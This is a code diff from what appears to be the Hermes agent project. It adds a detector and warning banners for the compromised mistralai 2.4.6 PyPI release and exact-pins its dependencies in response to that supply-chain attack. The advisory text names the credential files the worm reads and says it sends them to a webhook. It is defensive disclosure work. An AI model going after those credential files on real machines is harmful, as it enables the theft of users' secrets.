||||||
|
compromised: tuple of ``(package_name, frozenset_of_versions)``
|
||||||
|
pairs. Empty frozenset means "any version of this package is
|
||||||
|
considered suspect" — use sparingly.
|
||||||
|
remediation: ordered list of steps the user should take. First step
|
||||||
|
should be the uninstall command; subsequent steps the credential
|
||||||
|
audit / rotation guidance.
|
||||||
|
published: ISO date string for sort order.
|
||||||
|
"""
|
||||||
|
|
||||||
|
id: str
|
||||||
|
title: str
|
||||||
|
summary: str
|
||||||
|
url: str
|
||||||
|
compromised: tuple[tuple[str, frozenset[str]], ...]
|
||||||
|
remediation: tuple[str, ...]
|
||||||
|
published: str = ""
|
||||||
|
severity: str = "high" # low / medium / high / critical
|
||||||
|
|
||||||
|
|
||||||
|
ADVISORIES: tuple[Advisory, ...] = (
|
||||||
|
Advisory(
|
||||||
|
id="shai-hulud-2026-05",
|
||||||
|
title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI",
|
||||||
|
summary=(
|
||||||
|
"PyPI quarantined the mistralai package on 2026-05-12 after a "
|
||||||
|
"malicious 2.4.6 release. The worm steals credentials from "
|
||||||
|
"environment variables and credential files (~/.npmrc, ~/.pypirc, "
|
||||||
|
"~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils "
|
||||||
|
"them to a hardcoded webhook. If you ran any Python process that "
|
||||||
|
"imported mistralai 2.4.6 — including hermes when configured "
|
||||||
|
"with provider=mistral for TTS or STT — assume those credentials "
|
||||||
|
"are exposed."
|
||||||
|
),
|
||||||
|
url="https://socket.dev/blog/mini-shai-hulud-worm-pypi",
|
||||||
|
compromised=(
|
||||||
|
("mistralai", frozenset({"2.4.6"})),
|
||||||
|
),
|
||||||
|
remediation=(
|
||||||
|
"Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)",
|
||||||
|
"Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, "
|
||||||
|
"Nous, GitHub, AWS, Google, Mistral, etc.).",
|
||||||
|
"Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, "
|
||||||
|
"and any other credential files for tokens that may have been read.",
|
||||||
|
"Check GitHub for unexpected new SSH keys, deploy keys, or webhook "
|
||||||
|
"additions on repos you have admin on.",
|
||||||
|
"After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss "
|
||||||
|
"this warning.",
|
||||||
|
),
|
||||||
|
published="2026-05-12",
|
||||||
|
severity="critical",
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Detection
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class AdvisoryHit:
|
||||||
|
"""One package-version match against an advisory."""
|
||||||
|
|
||||||
|
advisory: Advisory
|
||||||
|
package: str
|
||||||
|
installed_version: str
|
||||||
|
|
||||||
|
|
||||||
|
def _installed_version(pkg_name: str) -> Optional[str]:
|
||||||
|
"""Return the installed version of ``pkg_name``, or None if not installed.
|
||||||
|
|
||||||
|
Uses ``importlib.metadata`` so we don't depend on pip being importable
|
||||||
|
inside the active venv (uv-created venvs may lack pip).
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from importlib.metadata import PackageNotFoundError, version
|
||||||
|
except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive.
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
return version(pkg_name)
|
||||||
|
except PackageNotFoundError:
|
||||||
|
return None
|
||||||
|
except Exception:
|
||||||
|
# Some metadata corruption modes raise ValueError or OSError. Don't
|
||||||
|
# let advisory checking crash the CLI startup path.
|
||||||
|
logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def detect_compromised(
|
||||||
|
advisories: Iterable[Advisory] = ADVISORIES,
|
||||||
|
) -> list[AdvisoryHit]:
|
||||||
|
"""Scan installed packages and return all advisory hits.
|
||||||
|
|
||||||
|
A "hit" means an advisory's listed package is installed AND the version
|
||||||
|
is in the compromised set (or the compromised set is empty, meaning
|
||||||
|
*any* version is suspect).
|
||||||
|
"""
|
||||||
|
hits: list[AdvisoryHit] = []
|
||||||
|
for advisory in advisories:
|
||||||
|
for pkg_name, bad_versions in advisory.compromised:
|
||||||
|
installed = _installed_version(pkg_name)
|
||||||
|
if installed is None:
|
||||||
|
continue
|
||||||
|
if not bad_versions or installed in bad_versions:
|
||||||
|
hits.append(AdvisoryHit(
|
||||||
|
advisory=advisory,
|
||||||
|
package=pkg_name,
|
||||||
|
installed_version=installed,
|
||||||
|
))
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Acknowledgement persistence
|
||||||
|
#
|
||||||
|
# Acks live under ``security.acked_advisories`` in config.yaml as a list of
|
||||||
|
# advisory IDs. The list is the only state — no per-host data, no
|
||||||
|
# timestamps, no fingerprints. Users sharing a config.yaml across machines
|
||||||
|
# (rare but possible) get the same dismissal everywhere, which is the
|
||||||
|
# correct behavior for a global advisory.
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
def get_acked_ids() -> set[str]:
|
||||||
|
"""Return the set of advisory IDs the user has dismissed.
|
||||||
|
|
||||||
|
Returns an empty set if config can't be loaded (don't block startup
|
||||||
|
just because config is broken — the advisory will keep firing until
|
||||||
|
config is repaired, which is fine).
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from hermes_cli.config import load_config
|
||||||
|
cfg = load_config()
|
||||||
|
except Exception:
|
||||||
|
logger.debug("Could not load config for advisory acks", exc_info=True)
|
||||||
|
return set()
|
||||||
|
sec = cfg.get("security") or {}
|
||||||
|
raw = sec.get("acked_advisories") or []
|
||||||
|
if not isinstance(raw, list):
|
||||||
|
return set()
|
||||||
|
return {str(x).strip() for x in raw if str(x).strip()}
|
||||||
|
|
||||||
|
|
||||||
|
def ack_advisory(advisory_id: str) -> bool:
|
||||||
|
"""Persist an ack for ``advisory_id``. Returns True on success.
|
||||||
|
|
||||||
|
Idempotent — acking an already-acked ID is a no-op.
|
||||||
|
"""
|
||||||
|
advisory_id = advisory_id.strip()
|
||||||
|
if not advisory_id:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
from hermes_cli.config import load_config, save_config
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Could not import config module to persist ack")
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
cfg = load_config()
|
||||||
|
sec = cfg.setdefault("security", {})
|
||||||
|
existing = sec.get("acked_advisories") or []
|
||||||
|
if not isinstance(existing, list):
|
||||||
|
existing = []
|
||||||
|
if advisory_id not in existing:
|
||||||
|
existing.append(advisory_id)
|
||||||
|
sec["acked_advisories"] = existing
|
||||||
|
save_config(cfg)
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to persist advisory ack for %s", advisory_id)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]:
|
||||||
|
"""Return only hits whose advisories the user has not dismissed."""
|
||||||
|
if not hits:
|
||||||
|
return []
|
||||||
|
acked = get_acked_ids()
|
||||||
|
return [h for h in hits if h.advisory.id not in acked]
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Rendering helpers
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
def _term_supports_color() -> bool:
|
||||||
|
if os.environ.get("NO_COLOR"):
|
||||||
|
return False
|
||||||
|
if not sys.stdout.isatty():
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]:
|
||||||
|
"""Return 1-3 short lines suitable for a startup banner.
|
||||||
|
|
||||||
|
Caller is responsible for color/styling. Always names the worst hit
|
||||||
|
explicitly so the user knows what's wrong without running doctor.
|
||||||
|
"""
|
||||||
|
if not hits:
|
||||||
|
return []
|
||||||
|
primary = hits[0]
|
||||||
|
lines = [
|
||||||
|
f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}",
|
||||||
|
f" Detected: {primary.package}=={primary.installed_version}",
|
||||||
|
" Run 'hermes doctor' for remediation steps.",
|
||||||
|
]
|
||||||
|
if len(hits) > 1:
|
||||||
|
lines.insert(1, f" ({len(hits) - 1} additional advisor"
|
||||||
|
f"{'ies' if len(hits) > 2 else 'y'} also active.)")
|
||||||
|
return lines
|
||||||
|
|
||||||
|
|
||||||
|
def full_remediation_text(hit: AdvisoryHit) -> list[str]:
|
||||||
|
"""Return a multi-line block describing the advisory + remediation."""
|
||||||
|
a = hit.advisory
|
||||||
|
lines = [
|
||||||
|
f"=== {a.title} ===",
|
||||||
|
f"ID: {a.id} Severity: {a.severity} Published: {a.published}",
|
||||||
|
f"Detected: {hit.package}=={hit.installed_version}",
|
||||||
|
f"Reference: {a.url}",
|
||||||
|
"",
|
||||||
|
a.summary,
|
||||||
|
"",
|
||||||
|
"Remediation:",
|
||||||
|
]
|
||||||
|
for i, step in enumerate(a.remediation, 1):
|
||||||
|
lines.append(f" {i}. {step}")
|
||||||
|
return lines
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Startup-banner gating
|
||||||
|
#
|
||||||
|
# We do NOT want to hammer the user with the banner on every command. Once
|
||||||
|
# they've seen it inside a 24h window we cache that fact in
|
||||||
|
# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID:
|
||||||
|
# ``<id> <iso8601_timestamp>``).
|
||||||
|
#
|
||||||
|
# Acked advisories never re-banner. Cached-but-not-acked advisories
|
||||||
|
# re-banner after 24h so the user doesn't fully forget.
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
_BANNER_CACHE_FILE = "advisory_banner_seen"
|
||||||
|
_BANNER_REPEAT_HOURS = 24
|
||||||
|
|
||||||
|
|
||||||
|
def _banner_cache_path() -> Optional[Path]:
|
||||||
|
try:
|
||||||
|
from hermes_constants import get_hermes_home
|
||||||
|
cache_dir = Path(get_hermes_home()) / "cache"
|
||||||
|
cache_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
return cache_dir / _BANNER_CACHE_FILE
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _read_banner_cache() -> dict[str, float]:
|
||||||
|
p = _banner_cache_path()
|
||||||
|
if p is None or not p.exists():
|
||||||
|
return {}
|
||||||
|
out: dict[str, float] = {}
|
||||||
|
try:
|
||||||
|
for line in p.read_text(encoding="utf-8").splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
parts = line.split(None, 1)
|
||||||
|
if len(parts) != 2:
|
||||||
|
continue
|
||||||
|
advisory_id, ts = parts
|
||||||
|
try:
|
||||||
|
out[advisory_id] = float(ts)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
except Exception:
|
||||||
|
return {}
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _write_banner_cache(seen: dict[str, float]) -> None:
|
||||||
|
p = _banner_cache_path()
|
||||||
|
if p is None:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
lines = [f"{aid} {ts}" for aid, ts in seen.items()]
|
||||||
|
p.write_text("\n".join(lines) + "\n", encoding="utf-8")
|
||||||
|
except Exception:
|
||||||
|
logger.debug("Could not write advisory banner cache", exc_info=True)
|
||||||
|
|
||||||
|
|
||||||
|
def hits_due_for_banner(
|
||||||
|
hits: list[AdvisoryHit],
|
||||||
|
*,
|
||||||
|
repeat_hours: int = _BANNER_REPEAT_HOURS,
|
||||||
|
) -> list[AdvisoryHit]:
|
||||||
|
"""Return only hits whose banner is due (not acked, not recently shown).
|
||||||
|
|
||||||
|
Side effect: stamps the banner cache for any hit that's about to be
|
||||||
|
shown. Callers should subsequently render the result.
|
||||||
|
"""
|
||||||
|
import time
|
||||||
|
|
||||||
|
fresh = filter_unacked(hits)
|
||||||
|
if not fresh:
|
||||||
|
return []
|
||||||
|
now = time.time()
|
||||||
|
cache = _read_banner_cache()
|
||||||
|
cutoff = now - (repeat_hours * 3600)
|
||||||
|
|
||||||
|
due: list[AdvisoryHit] = []
|
||||||
|
for hit in fresh:
|
||||||
|
last = cache.get(hit.advisory.id, 0.0)
|
||||||
|
if last < cutoff:
|
||||||
|
due.append(hit)
|
||||||
|
cache[hit.advisory.id] = now
|
||||||
|
if due:
|
||||||
|
_write_banner_cache(cache)
|
||||||
|
return due
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Public entry points used by doctor / CLI / gateway
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]:
|
||||||
|
"""Render the security-advisory section for ``hermes doctor``.
|
||||||
|
|
||||||
|
Returns ``(has_problems, lines)``. Caller is responsible for printing
|
||||||
|
with whatever color scheme it uses.
|
||||||
|
"""
|
||||||
|
fresh = filter_unacked(hits)
|
||||||
|
if not fresh:
|
||||||
|
return False, ["No active security advisories. ✓"]
|
||||||
|
|
||||||
|
lines: list[str] = []
|
||||||
|
for i, hit in enumerate(fresh):
|
||||||
|
if i:
|
||||||
|
lines.append("")
|
||||||
|
lines.extend(full_remediation_text(hit))
|
||||||
|
return True, lines
|
||||||
|
|
||||||
|
|
||||||
|
def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]:
|
||||||
|
"""Return a printable startup banner, or None if nothing is due.
|
||||||
|
|
||||||
|
Updates the banner cache as a side effect (so the next call within
|
||||||
|
24h returns None for the same hit).
|
||||||
|
"""
|
||||||
|
due = hits_due_for_banner(hits)
|
||||||
|
if not due:
|
||||||
|
return None
|
||||||
|
lines = short_banner_lines(due)
|
||||||
|
if _term_supports_color():
|
||||||
|
red = "\x1b[1;31m"
|
||||||
|
reset = "\x1b[0m"
|
||||||
|
return red + "\n".join(lines) + reset
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]:
|
||||||
|
"""Return a one-line log message for gateway operators, or None."""
|
||||||
|
fresh = filter_unacked(hits)
|
||||||
|
if not fresh:
|
||||||
|
return None
|
||||||
|
if len(fresh) == 1:
|
||||||
|
h = fresh[0]
|
||||||
|
return (f"Security advisory [{h.advisory.id}] active: "
|
||||||
|
f"{h.package}=={h.installed_version} matches {h.advisory.title}. "
|
||||||
|
f"See {h.advisory.url}")
|
||||||
|
return (f"{len(fresh)} security advisories active "
|
||||||
|
f"(IDs: {', '.join(h.advisory.id for h in fresh)}). "
|
||||||
|
f"Run `hermes doctor` on the gateway host for details.")
|
||||||
|
|
@ -56,10 +56,22 @@ try:
|
||||||
from fastapi.staticfiles import StaticFiles
|
from fastapi.staticfiles import StaticFiles
|
||||||
from pydantic import BaseModel
|
from pydantic import BaseModel
|
||||||
except ImportError:
|
except ImportError:
|
||||||
raise SystemExit(
|
# First try lazy-installing the dashboard extras. Only the user actually
|
||||||
"Web UI requires fastapi and uvicorn.\n"
|
# running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps
|
||||||
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
|
# them out of every other install path. After install, re-import.
|
||||||
)
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("tool.dashboard", prompt=False)
|
||||||
|
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||||
|
from fastapi.middleware.cors import CORSMiddleware
|
||||||
|
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response
|
||||||
|
from fastapi.staticfiles import StaticFiles
|
||||||
|
from pydantic import BaseModel
|
||||||
|
except Exception:
|
||||||
|
raise SystemExit(
|
||||||
|
"Web UI requires fastapi and uvicorn.\n"
|
||||||
|
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
|
||||||
|
)
|
||||||
|
|
||||||
WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist"
|
WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist"
|
||||||
_log = logging.getLogger(__name__)
|
_log = logging.getLogger(__name__)
|
||||||
|
|
|
||||||
|
|
@ -875,6 +875,13 @@ class HindsightMemoryProvider(MemoryProvider):
|
||||||
"Hindsight local runtime is unavailable"
|
"Hindsight local runtime is unavailable"
|
||||||
+ (f": {reason}" if reason else "")
|
+ (f": {reason}" if reason else "")
|
||||||
)
|
)
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("memory.hindsight", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as _e:
|
||||||
|
raise ImportError(str(_e))
|
||||||
from hindsight import HindsightEmbedded
|
from hindsight import HindsightEmbedded
|
||||||
HindsightEmbedded.__del__ = lambda self: None
|
HindsightEmbedded.__del__ = lambda self: None
|
||||||
llm_provider = self._config.get("llm_provider", "")
|
llm_provider = self._config.get("llm_provider", "")
|
||||||
|
|
|
||||||
|
|
@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho:
|
||||||
"For local instances, set HONCHO_BASE_URL instead."
|
"For local instances, set HONCHO_BASE_URL instead."
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Lazy-install the honcho SDK on demand. ensure() honors
|
||||||
|
# security.allow_lazy_installs (default true). On failure we surface
|
||||||
|
# the original ImportError-shape message so existing callers still get
|
||||||
|
# the "go run hermes honcho setup" hint they used to.
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("memory.honcho", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
# lazy_deps module missing — fall through to the raw import below.
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
# FeatureUnavailable or unexpected error. Don't crash here; let the
|
||||||
|
# actual import attempt produce the canonical error message.
|
||||||
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from honcho import Honcho
|
from honcho import Honcho
|
||||||
except ImportError:
|
except ImportError:
|
||||||
raise ImportError(
|
raise ImportError(
|
||||||
"honcho-ai is required for Honcho integration. "
|
"honcho-ai is required for Honcho integration. "
|
||||||
"Install it with: pip install honcho-ai"
|
"Install it with: pip install honcho-ai "
|
||||||
|
"(or run `hermes honcho setup` to configure)."
|
||||||
)
|
)
|
||||||
|
|
||||||
# Allow config.yaml honcho.base_url to override the SDK's environment
|
# Allow config.yaml honcho.base_url to override the SDK's environment
|
||||||
|
|
|
||||||
164
pyproject.toml
164
pyproject.toml
|
|
@ -11,84 +11,124 @@ requires-python = ">=3.11"
|
||||||
authors = [{ name = "Nous Research" }]
|
authors = [{ name = "Nous Research" }]
|
||||||
license = { text = "MIT" }
|
license = { text = "MIT" }
|
||||||
dependencies = [
|
dependencies = [
|
||||||
# Core — pinned to known-good ranges to limit supply chain attack surface
|
# Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges).
|
||||||
"openai>=2.21.0,<3",
|
# Rationale: ranges allow PyPI to ship a fresh version of a transitive
|
||||||
"anthropic>=0.39.0,<1",
|
# at any time without a code review on our side. Exact pins mean the
|
||||||
"python-dotenv>=1.2.1,<2",
|
# only way a new package version reaches a user is via an intentional
|
||||||
"fire>=0.7.1,<1",
|
# update on our end (bump the pin in this file, regenerate uv.lock).
|
||||||
"httpx[socks]>=0.28.1,<1",
|
# This was tightened on 2026-05-12 in response to the Mini Shai-Hulud
|
||||||
"rich>=14.3.3,<15",
|
# worm hitting mistralai 2.4.6 on PyPI; if that release had been
|
||||||
"tenacity>=9.1.4,<10",
|
# captured by `mistralai>=2.3.0,<3` rather than an exact pin, every
|
||||||
"pyyaml>=6.0.2,<7",
|
# install in the hours before the quarantine would have pulled it.
|
||||||
"ruamel.yaml>=0.18.16,<0.19",
|
# See website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md.
|
||||||
"requests>=2.33.0,<3", # CVE-2026-25645
|
#
|
||||||
"jinja2>=3.1.5,<4",
|
# When updating: bump the version below AND regenerate uv.lock with
|
||||||
"pydantic>=2.12.5,<3",
|
# `uv lock` so the transitive resolution stays consistent. Don't
|
||||||
|
# introduce ranges back without a written justification.
|
||||||
|
#
|
||||||
|
# Scope rule: only packages used by EVERY hermes session belong here.
|
||||||
|
# Anything that's provider-specific (`anthropic`, `firecrawl-py`,
|
||||||
|
# `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an
|
||||||
|
# extra and gets lazy-installed via `tools/lazy_deps.py` when the
|
||||||
|
# user picks that backend. Smaller `dependencies` = smaller blast
|
||||||
|
# radius for the next supply-chain attack.
|
||||||
|
"openai==2.24.0",
|
||||||
|
"python-dotenv==1.2.1",
|
||||||
|
"fire==0.7.1",
|
||||||
|
"httpx[socks]==0.28.1",
|
||||||
|
"rich==14.3.3",
|
||||||
|
"tenacity==9.1.4",
|
||||||
|
"pyyaml==6.0.3",
|
||||||
|
"ruamel.yaml==0.18.17",
|
||||||
|
"requests==2.33.0", # CVE-2026-25645
|
||||||
|
"jinja2==3.1.6",
|
||||||
|
"pydantic==2.12.5",
|
||||||
# Interactive CLI (prompt_toolkit is used directly by cli.py)
|
# Interactive CLI (prompt_toolkit is used directly by cli.py)
|
||||||
"prompt_toolkit>=3.0.52,<4",
|
"prompt_toolkit==3.0.52",
|
||||||
# Tools
|
|
||||||
"exa-py>=2.9.0,<3",
|
|
||||||
"firecrawl-py>=4.16.0,<5",
|
|
||||||
"parallel-web>=0.4.2,<1",
|
|
||||||
"fal-client>=0.13.1,<1",
|
|
||||||
# Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter).
|
# Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter).
|
||||||
"croniter>=6.0.0,<7",
|
"croniter==6.0.0",
|
||||||
# Text-to-speech (Edge TTS is free, no API key needed)
|
|
||||||
"edge-tts>=7.2.7,<8",
|
|
||||||
# Skills Hub (GitHub App JWT auth — optional, only needed for bot identity)
|
# Skills Hub (GitHub App JWT auth — optional, only needed for bot identity)
|
||||||
"PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597
|
"PyJWT[crypto]==2.12.1", # CVE-2026-32597
|
||||||
# Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo``
|
# Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo``
|
||||||
# (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone
|
# (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone
|
||||||
# out of the box. ``tzdata`` ships the Olson database as a data package
|
# out of the box. ``tzdata`` ships the Olson database as a data package
|
||||||
# Python resolves automatically. No-op on Linux/macOS (which have
|
# Python resolves automatically. No-op on Linux/macOS (which have
|
||||||
# /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24).
|
# /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24).
|
||||||
"tzdata>=2023.3; sys_platform == 'win32'",
|
"tzdata==2025.3; sys_platform == 'win32'",
|
||||||
# Cross-platform process / PID management. `psutil` is the canonical
|
# Cross-platform process / PID management. `psutil` is the canonical
|
||||||
# answer for "is this PID alive" and process-tree walking across Linux,
|
# answer for "is this PID alive" and process-tree walking across Linux,
|
||||||
# macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)`
|
# macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)`
|
||||||
# (which is a silent killer on Windows — see CONTRIBUTING.md) and
|
# (which is a silent killer on Windows — see CONTRIBUTING.md) and
|
||||||
# `os.killpg` (which doesn't exist on Windows).
|
# `os.killpg` (which doesn't exist on Windows).
|
||||||
"psutil>=5.9.0,<8",
|
"psutil==7.2.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
[project.optional-dependencies]
|
[project.optional-dependencies]
|
||||||
modal = ["modal>=1.0.0,<2"]
|
# Native Anthropic provider — only needed when provider=anthropic (not via
|
||||||
daytona = ["daytona>=0.148.0,<1"]
|
# OpenRouter or other aggregators).
|
||||||
vercel = ["vercel>=0.5.7,<0.6.0"]
|
anthropic = ["anthropic==0.86.0"]
|
||||||
hindsight = ["hindsight-client>=0.4.22"]
|
# Web search backends — each only loaded when the user picks it as their
|
||||||
dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"]
|
# search provider (configured via `hermes tools` or config.yaml).
|
||||||
messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"]
|
exa = ["exa-py==2.10.2"]
|
||||||
|
firecrawl = ["firecrawl-py==4.17.0"]
|
||||||
|
parallel-web = ["parallel-web==0.4.2"]
|
||||||
|
# Image generation backends
|
||||||
|
fal = ["fal-client==0.13.1"]
|
||||||
|
# Edge TTS — default TTS provider but still optional (users can pick
|
||||||
|
# ElevenLabs / OpenAI / MiniMax instead).
|
||||||
|
edge-tts = ["edge-tts==7.2.7"]
|
||||||
|
modal = ["modal==1.3.4"]
|
||||||
|
daytona = ["daytona==0.155.0"]
|
||||||
|
vercel = ["vercel==0.5.7"]
|
||||||
|
hindsight = ["hindsight-client==0.6.1"]
|
||||||
|
dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", "pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"]
|
||||||
|
messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"]
|
||||||
cron = [] # croniter is now a core dependency; this extra kept for back-compat
|
cron = [] # croniter is now a core dependency; this extra kept for back-compat
|
||||||
slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"]
|
slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"]
|
||||||
matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"]
|
matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"]
|
||||||
cli = ["simple-term-menu>=1.0,<2"]
|
cli = ["simple-term-menu==1.6.6"]
|
||||||
tts-premium = ["elevenlabs>=1.0,<2"]
|
tts-premium = ["elevenlabs==1.59.0"]
|
||||||
voice = [
|
voice = [
|
||||||
# Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime),
|
# Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime),
|
||||||
# so keep it out of the base install for source-build packagers like Homebrew.
|
# so keep it out of the base install for source-build packagers like Homebrew.
|
||||||
"faster-whisper>=1.0.0,<2",
|
"faster-whisper==1.2.1",
|
||||||
"sounddevice>=0.4.6,<1",
|
"sounddevice==0.5.5",
|
||||||
"numpy>=1.24.0,<3",
|
"numpy==2.4.3",
|
||||||
]
|
]
|
||||||
pty = [
|
pty = [
|
||||||
"ptyprocess>=0.7.0,<1; sys_platform != 'win32'",
|
"ptyprocess==0.7.0; sys_platform != 'win32'",
|
||||||
"pywinpty>=2.0.0,<3; sys_platform == 'win32'",
|
"pywinpty==2.0.15; sys_platform == 'win32'",
|
||||||
]
|
]
|
||||||
honcho = ["honcho-ai>=2.0.1,<3"]
|
honcho = ["honcho-ai==2.0.1"]
|
||||||
mcp = ["mcp>=1.2.0,<2"]
|
mcp = ["mcp==1.26.0"]
|
||||||
homeassistant = ["aiohttp>=3.9.0,<4"]
|
homeassistant = ["aiohttp==3.13.3"]
|
||||||
sms = ["aiohttp>=3.9.0,<4"]
|
sms = ["aiohttp==3.13.3"]
|
||||||
# Computer use — macOS background desktop control via cua-driver (MCP stdio).
|
# Computer use — macOS background desktop control via cua-driver (MCP stdio).
|
||||||
# The cua-driver binary itself is installed via `hermes tools` post-setup
|
# The cua-driver binary itself is installed via `hermes tools` post-setup
|
||||||
# (curl install script); this extra just pins the MCP client used to talk
|
# (curl install script); this extra just pins the MCP client used to talk
|
||||||
# to it, which is already provided by the `mcp` extra.
|
# to it, which is already provided by the `mcp` extra.
|
||||||
computer-use = ["mcp>=1.2.0,<2"]
|
computer-use = ["mcp==1.26.0"]
|
||||||
acp = ["agent-client-protocol>=0.9.0,<1.0"]
|
acp = ["agent-client-protocol==0.9.0"]
|
||||||
mistral = ["mistralai>=2.3.0,<3"]
|
# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined
|
||||||
bedrock = ["boto3>=1.35.0,<2"]
|
# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of
|
||||||
|
# `mistralai` returns 404 on PyPI right now, so any pin we'd write is
|
||||||
|
# unresolvable, which breaks `uv lock --check` in CI.
|
||||||
|
#
|
||||||
|
# To restore once PyPI un-quarantines:
|
||||||
|
# 1. Verify the new release is clean (read the changelog, check Socket
|
||||||
|
# advisory page, confirm no malicious code review findings).
|
||||||
|
# 2. Add back: mistral = ["mistralai==<verified-version>"]
|
